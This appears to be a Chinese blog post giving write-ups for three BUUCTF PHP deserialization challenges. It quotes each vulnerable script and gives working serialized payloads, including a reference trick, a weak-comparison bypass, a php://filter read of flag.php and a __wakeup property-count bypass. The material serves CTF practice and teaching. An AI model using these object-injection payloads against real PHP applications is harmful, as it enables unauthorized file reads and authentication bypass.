PHP反序列化练习

BUU上的三个题。

BUU CODE REVIEW 1

复制代码
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
​
highlight_file(__FILE__);
​
class BUU {
   public $correct = "";
   public $input = "";
​
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
​
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

页面代码如上,需要五个参数,pleaseget,pleasepost,md51,md52,obj。

这其中需要pleaseget和pleasepost分别强等于1和2,md51和md52不一样,但md5编码后一样,可以使用数组绕过。下面构造obj。

obj的反序列化会触发__destruct魔术方法,根据里面的内容correct会被随机赋值,我们要得到flag,就要让correct和input相等即可。

构造php脚本:

复制代码
<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->correct="";
$a->input=&$a->correct;//input和correct的值相等。
echo serialize($a);
?>

输出结果:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

进行输入获取flag:

[网鼎杯 2020 青龙组]AreUSerialz

复制代码
<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;//构造脚本时换成public,否则产生的字符会超出范围。
    protected $filename;
    protected $content;
​
    function __construct() {//不会被触发
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();//调用write函数
        } else if($this->op == "2") {
            $res = $this->read();//调用read函数
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//判断字符串长度
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//将某字符写入某文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//读取文件获取flag,故而要使op=2
        }
        return $res;
    }
​
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")//需要绕过,这里是强等于,上面是弱等于,那只需让op等于2,但数据类型不是字符即可。
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//传参数据的ascll码值必须大于等于32,小于等于125。
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {//if里面调用了is_valid函数
        $obj = unserialize($str);
    }
​
}

构造脚本:

复制代码
<?php
class FileHandler {
​
    public $op=2;
    public $filename='flag.php';//这里的`flag.php`可以换成php://filter/read=convert.base64-encode/resource=flag.php
    public $content;
}
$a=new FileHandler();
echo serialize($a);
?>

构造结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}或O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

区别:

简单的flag.php,文件不会显示到页面上,需要产看源代码即可看到。

php://filter/read=convert.base64-encode/resource=flag.php会对文件进行过滤,最终文件内容会以base64编码的形式呈现在页面上,进行解码即可见到。

[极客大挑战 2019]PHP

本题先使用dirsearch进行扫描,扫描时间有点长。

扫描完成后会获取到一个www.zip文件,在url中输入,下载完成可以得到flag.php,class.php,index.php三个文件。flag文件中没有什么内容,可以不看了,index是页面小猫的代码,里面有个传参的代码。

复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>//传递的参数是select。

下面着重看class代码。

复制代码
<?php
include 'flag.php';
​
​
error_reporting(0);
​
​
class Name{
    private $username = 'nonono';//这里是private,我们需要将空字符输入,可以使用base64编码再解码输入。可以在BP中操作。
    private $password = 'yesyes';
​
    public function __construct($username,$password){//不会触发
        $this->username = $username;
        $this->password = $password;
    }
​
    function __wakeup(){//修改username的值,要进行绕过,即参数个数要比实际参数个数大
        $this->username = 'guest';
    }
​
    function __destruct(){
        if ($this->password != 100) {//确保password是100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {//要使条件成立
            global $flag;//获取flag
            echo $flag;//输出flag
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

构造脚本:

复制代码
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a=new Name();
echo serialize($a);
?>

编码结果:Tzo0OiJOYW1lIjozOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO3M6MzoiMTAwIjt9

相关推荐
SomeB1oody10 分钟前
【Rust自学】15.4. Drop trait:告别手动清理,释放即安全
开发语言·后端·rust
liruiqiang0512 分钟前
DDD-全面理解领域驱动设计中的各种“域”
开发语言·架构
追光少年332238 分钟前
Learning Vue 读书笔记 Chapter 2
前端·javascript·vue.js·vue3
前端熊猫38 分钟前
JavaScript 的 Promise 对象和 Promise.all 方法的使用
开发语言·前端·javascript
weixin_421133411 小时前
编写python 后端 vscode 安装插件大全
开发语言·vscode·python
_GR1 小时前
Java程序基础⑪Java的异常体系和使用
java·开发语言
龙之叶1 小时前
Android13源码下载和编译过程详解
android·linux·ubuntu
iOS阿玮1 小时前
速领🧧!iOS研究院专属「红包封面」来了,第二弹。
前端
lzhdim2 小时前
3、C#基于.net framework的应用开发实战编程 - 实现(三、二) - 编程手把手系列文章...
开发语言·c#·.net
菜菜小蒙2 小时前
【C++】特殊类设计、单例模式与类型转换
开发语言·c++